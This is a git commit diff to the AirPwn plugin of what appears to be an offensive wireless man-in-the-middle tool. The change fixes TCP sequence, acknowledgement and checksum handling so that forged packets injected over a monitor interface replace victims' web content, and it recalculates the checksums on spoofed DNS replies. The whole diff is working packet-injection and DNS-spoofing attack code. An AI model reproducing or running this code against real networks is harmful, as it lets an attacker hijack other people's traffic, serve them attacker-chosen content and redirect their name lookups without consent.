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airpwn plugin now calculates correct seq, ack and checksums

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byt3bl33d3r 2014-10-31 22:19:58 +01:00
parent 51a4b65e26
commit 76fd67d245
1 changed files with 20 additions and 0 deletions
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20
plugins/AirPwn.py
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@ -74,11 +74,21 @@ class AirPwn(Plugin):
response.src, response.dst = packet.dst, packet.src response.src, response.dst = packet.dst, packet.src
# Switch the ports # Switch the ports
response.sport, response.dport = packet.dport, packet.sport response.sport, response.dport = packet.dport, packet.sport
# Switch sequence and ack
response[TCP].seq = packet[TCP].ack
# Inject our data # Inject our data
response[Raw].load = open(rule[1]['response'], 'rb').read() response[Raw].load = open(rule[1]['response'], 'rb').read()
# Calculate new ack
response[TCP].ack = packet[TCP].seq + len(response[Raw].load)
#delete packet checksums
del response[IP].chksum
del response[TCP].chksum
#Some scapy-fu to re-calculate all checksums
response = response.__class__(str(response))
# Send the packet # Send the packet
sendp(response, iface=self.mon_interface, verbose=False) sendp(response, iface=self.mon_interface, verbose=False)
logging.info("%s >> Replaced content" % response.src) logging.info("%s >> Replaced content" % response.src)
elif 'ignore' not in rule[1].keys(): elif 'ignore' not in rule[1].keys():
if (re.search(rule[1]['match'], packet[Raw].load)): if (re.search(rule[1]['match'], packet[Raw].load)):
response = packet.copy() response = packet.copy()
@ -86,7 +96,12 @@ class AirPwn(Plugin):
response.addr1, response.addr2 = packet.addr2, packet.addr1 response.addr1, response.addr2 = packet.addr2, packet.addr1
response.src, response.dst = packet.dst, packet.src response.src, response.dst = packet.dst, packet.src
response.sport, response.dport = packet.dport, packet.sport response.sport, response.dport = packet.dport, packet.sport
response[TCP].seq = packet[TCP].ack
response[Raw].load = open(rule[1]['response'], 'rb').read() response[Raw].load = open(rule[1]['response'], 'rb').read()
response[TCP].ack = packet[TCP].seq + len(response[Raw].load)
del response[IP].chksum
del response[TCP].chksum
response = response.__class__(str(response))
sendp(response, iface=self.mon_interface, verbose=False) sendp(response, iface=self.mon_interface, verbose=False)
logging.info("%s >> Replaced content" % response.src) logging.info("%s >> Replaced content" % response.src)
@ -110,6 +125,11 @@ class AirPwn(Plugin):
rdata = self.dnspwn rdata = self.dnspwn
) )
del response[IP].chksum
del response[UDP].chksum
del response[UDP].len
response = response.__class__(str(response))
sendp(response, iface=self.mon_interface, verbose=False) sendp(response, iface=self.mon_interface, verbose=False)
logging.info("%s >> Spoofed DNS for %s" % (response.src, req_domain)) logging.info("%s >> Spoofed DNS for %s" % (response.src, req_domain))